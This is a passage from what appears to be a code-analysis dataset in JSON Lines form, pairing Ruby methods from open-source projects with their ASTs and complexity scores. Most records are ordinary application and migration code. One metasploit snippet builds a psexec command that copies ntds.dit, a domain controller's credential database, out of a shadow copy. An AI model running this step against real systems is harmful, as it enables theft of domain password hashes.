d\",{\"type\":\"lvar\",\"children\":[\"cname\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_attrs\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cname\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"cname\"]}]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"MiqAeInstance\",{\"type\":\"lvar\",\"children\":[\"xml_attrs\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ae_values_sorted\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_export_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builder\"]},{\"type\":\"lvar\",\"children\":[\"xml\"]}]}]}]}]}]}]}]}","id":"a7be7c7e-46ed-4525-b823-d2605d24f1d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/click_house/migrate/main/20240703165200_recreate_ci_finished_pipelines_table.rb","start_line":30,"raw_source":"def down\n    execute <<~SQL\n      DROP TABLE IF EXISTS ci_finished_pipelines\n    SQL\n\n    execute <<~SQL\n      CREATE TABLE ci_finished_pipelines\n      (\n        `id` UInt64 DEFAULT 0,\n        `project_id` UInt64 DEFAULT 0,\n        `committed_at` DateTime64(6, 'UTC') DEFAULT 0,\n        `created_at` DateTime64(6, 'UTC') DEFAULT 0,\n        `started_at` DateTime64(6, 'UTC') DEFAULT 0,\n        `finished_at` DateTime64(6, 'UTC') DEFAULT 0,\n        `duration` Int64,\n        `date` Date32 MATERIALIZED toStartOfMonth(finished_at),\n        `status` LowCardinality(String) DEFAULT '',\n        `source` LowCardinality(String) DEFAULT '',\n        `ref` String DEFAULT ''\n      )\n      ENGINE = ReplacingMergeTree\n      PARTITION BY toYear(finished_at)\n      ORDER BY (id)\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP TABLE IF EXISTS ci_finished_pipelines\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE ci_finished_pipelines\\n\"]},{\"type\":\"str\",\"children\":[\"(\\n\"]},{\"type\":\"str\",\"children\":[\"  `id` UInt64 DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"  `project_id` UInt64 DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"  `committed_at` DateTime64(6, 'UTC') DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"  `created_at` DateTime64(6, 'UTC') DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"  `started_at` DateTime64(6, 'UTC') DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"  `finished_at` DateTime64(6, 'UTC') DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"  `duration` Int64,\\n\"]},{\"type\":\"str\",\"children\":[\"  `date` Date32 MATERIALIZED toStartOfMonth(finished_at),\\n\"]},{\"type\":\"str\",\"children\":[\"  `status` LowCardinality(String) DEFAULT '',\\n\"]},{\"type\":\"str\",\"children\":[\"  `source` LowCardinality(String) DEFAULT '',\\n\"]},{\"type\":\"str\",\"children\":[\"  `ref` String DEFAULT ''\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"ENGINE = ReplacingMergeTree\\n\"]},{\"type\":\"str\",\"children\":[\"PARTITION BY toYear(finished_at)\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY (id)\\n\"]}]}]}]}]}","id":"5a4d3d6e-f606-4f26-9d69-b0eed1a480d2"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/conversations_controller.rb","start_line":68,"raw_source":"def set_custom_attributes\n    conversation.update!(custom_attributes: permitted_params[:custom_attributes])\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_custom_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_attributes\"]}]}]}]}]}]}","id":"83d8247e-0202-4eab-ab20-b2379fb3777f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/solaris/gather/enum_services.rb","start_line":56,"raw_source":"def get_services\n    cmd_exec('/usr/bin/svcs -a') || ''\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_services\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"/usr/bin/svcs -a\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"1a057aa6-e504-49d2-93ae-c134d76de959"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/auth/o_auth/user_spec.rb","start_line":96,"raw_source":"def stub_omniauth_config(messages)\n    allow(Gitlab.config.omniauth).to receive_messages(messages)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_omniauth_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"omniauth\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive_messages\",{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]}]}","id":"a9fe5895-9d1c-4bbc-923d-7e698cdc2bc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250320085931_add_packages_debian_file_metadata_project_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_debian_file_metadata, column: :project_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_debian_file_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"259d75c2-1aa2-4e8b-8c71-e2015de5028e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/tracker/file_cache.rb","start_line":68,"raw_source":"def dup\n      copy_file_list = @file_list.map do |name, list|\n        copy_list = list.map do |path, astfile|\n          copy_astfile = astfile.dup\n          copy_astfile.ast = copy_astfile.ast.deep_clone\n\n          [path, copy_astfile]\n        end.to_h\n\n        [name, copy_list]\n      end.to_h\n\n      FileCache.new(copy_file_list)\n    end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copy_file_list\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copy_list\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"astfile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copy_astfile\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"astfile\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_astfile\"]},\"ast=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_astfile\"]},\"ast\"]},\"deep_clone\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"copy_astfile\"]}]}]}]},\"to_h\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"copy_list\"]}]}]}]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileCache\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"copy_file_list\"]}]}]}]}","id":"fa27627f-1701-46e8-91f2-8176d64b0321"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_action_type_view.rb","start_line":77,"raw_source":"def score_types\n    return flag_settings.flag_types if overridden_by_plugin_or_skipped_db?\n    flag_enum(all_flags.filter { |flag| flag[:score_type] })\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"score_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"overridden_by_plugin_or_skipped_db?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flag_settings\"]},\"flag_types\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"flag_enum\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_flags\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"score_type\"]}]}]}]}]}]}","id":"8e8a1bea-702b-4f82-a947-8caa940072c0"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/profiler.rb","start_line":13,"raw_source":"def example_group_started(notification)\n        return unless notification.group.top_level?\n\n        @example_groups[notification.group][:start] = Time.now\n        @example_groups[notification.group][:description] = notification.group.top_level_description\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"example_group_started\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"group\"]},\"top_level?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@example_groups\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"group\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@example_groups\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"group\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"group\"]},\"top_level_description\"]}]}]}]}","id":"fc0b323d-ed9c-4c64-85c4-c39af9c43b81"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/merge_requests/mergeability_check_batch_worker.rb","start_line":15,"raw_source":"def logger\n      @logger ||= Sidekiq.logger\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"logger\"]}]}]}","id":"7692bbb8-6ea8-4d28-809f-519d4dc6aab5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/bulk_services/project_mappings/mapping_context.rb","start_line":72,"raw_source":"def project_ids_to_map\n        project_ids = incoming_projects.pluck(:id)\n        project_ids - project_ids_already_mapped(project_ids)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"project_ids_to_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming_projects\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"project_ids_already_mapped\",{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]}]}]}]}","id":"df13c758-d40d-4895-b12f-89be227f03a9"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/time.rb","start_line":185,"raw_source":"def self.included(mod)\n        mod.include TimeParameters\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"include\",{\"type\":\"const\",\"children\":[null,\"TimeParameters\"]}]}]}","id":"8f5d9f6f-f307-444b-9232-d3064d26b231"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/json/encoding_test.rb","start_line":467,"raw_source":"def test_exception_to_json\n    exception = Exception.new(\"foo\")\n    assert_equal '\"foo\"', ActiveSupport::JSON.encode(exception)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exception_to_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]},\"new\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\\\"foo\\\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}]}","id":"b1cb5701-58b9-46bf-a291-c2b416e5c054"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/subscriber.rb","start_line":35,"raw_source":"def attach_to(namespace, subscriber = new, notifier = ActiveSupport::Notifications, inherit_all: false)\n        @namespace  = namespace\n        @subscriber = subscriber\n        @notifier   = notifier\n        @inherit_all = inherit_all\n\n        subscribers << subscriber\n\n        # Add event subscribers for all existing methods on the class.\n        fetch_public_methods(subscriber, inherit_all).each do |event|\n          add_event_subscriber(event)\n        end\n      end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"optarg\",\"children\":[\"subscriber\",{\"type\":\"send\",\"children\":[null,\"new\"]}]},{\"type\":\"optarg\",\"children\":[\"notifier\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"inherit_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@notifier\",{\"type\":\"lvar\",\"children\":[\"notifier\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@inherit_all\",{\"type\":\"lvar\",\"children\":[\"inherit_all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribers\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_public_methods\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"lvar\",\"children\":[\"inherit_all\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"add_event_subscriber\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]}","id":"f72d6cfc-d970-48ca-83ab-f69290ad95d8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/support/pages/ifc_models/index.rb","start_line":45,"raw_source":"def model_listed(listed, model_name)\n        within \".generic-table\" do\n          expect(page).to (listed ? have_text(model_name) : have_no_text(model_name))\n        end\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"model_listed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"listed\"]},{\"type\":\"arg\",\"children\":[\"model_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\".generic-table\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"listed\"]},{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"send\",\"children\":[null,\"have_no_text\",{\"type\":\"lvar\",\"children\":[\"model_name\"]}]}]}]}]}]}]}","id":"eb3fd501-ea49-4de4-8d8b-1c2f3c531f38"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/pinecone_db/client.rb","start_line":7,"raw_source":"def check_connection(connection_config)\n        connection_config = connection_config.with_indifferent_access\n        pinecone = create_connection(connection_config)\n        result = pinecone.describe_index(@index_name)\n        if success?(result)\n          success_status\n        else\n          failure_status(nil)\n        end\n      rescue StandardError => e\n        handle_exception(e, { context: \"PINECONE:CHECK_CONNECTION:EXCEPTION\", type: \"error\" })\n        failure_status(e)\n      end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pinecone\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pinecone\"]},\"describe_index\",{\"type\":\"ivar\",\"children\":[\"@index_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success?\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"success_status\"]},{\"type\":\"send\",\"children\":[null,\"failure_status\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"PINECONE:CHECK_CONNECTION:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"failure_status\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"ae0aea88-c957-4b2d-a896-7ee94a4cee93"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240910090759_make_password_columns_from_users_read_only.rb","start_line":3,"raw_source":"def up\n    # remove invalid triggers/functions dependent on the columns to be dropped\n    execute <<~SQL\n      DROP TRIGGER IF EXISTS users_password_sync_on_delete_password ON users;\n    SQL\n\n    execute <<~SQL\n      DROP FUNCTION IF EXISTS delete_user_password;\n    SQL\n\n    execute <<~SQL\n      DROP TRIGGER IF EXISTS users_password_sync ON users;\n    SQL\n\n    execute <<~SQL\n      DROP FUNCTION IF EXISTS mirror_user_password_data;\n    SQL\n\n    %i[password_hash salt password_algorithm].each do |column|\n      Migration::ColumnDropper.mark_readonly(:users, column)\n    end\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP TRIGGER IF EXISTS users_password_sync_on_delete_password ON users;\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP FUNCTION IF EXISTS delete_user_password;\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP TRIGGER IF EXISTS users_password_sync ON users;\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP FUNCTION IF EXISTS mirror_user_password_data;\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"password_hash\"]},{\"type\":\"sym\",\"children\":[\"salt\"]},{\"type\":\"sym\",\"children\":[\"password_algorithm\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"mark_readonly\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]}]}","id":"25f5f773-8916-4f86-83ec-ec469ccd4fe5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":446,"raw_source":"def bookmark_reminder_at\n    post_bookmark&.reminder_at\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bookmark_reminder_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_bookmark\"]},\"reminder_at\"]}]}","id":"6ac2a373-93ab-4e16-92ad-e81762f9b223"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_splat_expansion.rb","start_line":204,"raw_source":"def allow_percent_literal_array_argument?\n          cop_config.fetch('AllowPercentLiteralArrayArgument', true)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_percent_literal_array_argument?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"AllowPercentLiteralArrayArgument\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"2eac3b34-9895-4bdf-bca5-1bf44c7dc7de"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb","start_line":147,"raw_source":"def copy_ntds(vscpath, text)\n    ntdspath = vscpath.to_s + '\\\\' + datastore['WINPATH'] + '\\\\NTDS\\\\ntds.dit'\n    command = \"%COMSPEC% /C copy /Y \\\"#{ntdspath}\\\" %WINDIR%\\\\Temp\\\\ntds\"\n    psexec(command)\n    if !check_ntds(text)\n      return false\n    end\n\n    return true\n  rescue StandardError => e\n    print_error(\"Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}\")\n    return false\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_ntds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vscpath\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ntdspath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vscpath\"]},\"to_s\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WINPATH\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\NTDS\\\\ntds.dit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%COMSPEC% /C copy /Y \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntdspath\"]}]},{\"type\":\"str\",\"children\":[\"\\\" %WINDIR%\\\\Temp\\\\ntds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"psexec\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_ntds\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"c68fb9bb-a7c1-42dd-b666-bfbb1f0a8c81"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/stage.rb","start_line":157,"raw_source":"def migrate_memberships?\n        bulk_import_entity.migrate_memberships\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate_memberships?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import_entity\"]},\"migrate_memberships\"]}]}","id":"c41783bb-dabb-441e-81ba-8a4293bc5e4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/nested_attributes_duplicates_validator.rb","start_line":9,"raw_source":"def validate_each(record, attribute, value)\n    return if child_attributes.any? { |child_attribute| record.errors.include?(:\"#{attribute}.#{child_attribute}\") }\n\n    if options[:scope]\n      scoped = value.group_by do |variable|\n        Array(options[:scope]).map { |attr| variable.send(attr) } # rubocop:disable GitlabSecurity/PublicSend\n      end\n      scoped.each_value { |scope| validate_duplicates(record, attribute, scope) }\n    else\n      validate_duplicates(record, attribute, value)\n    end\n  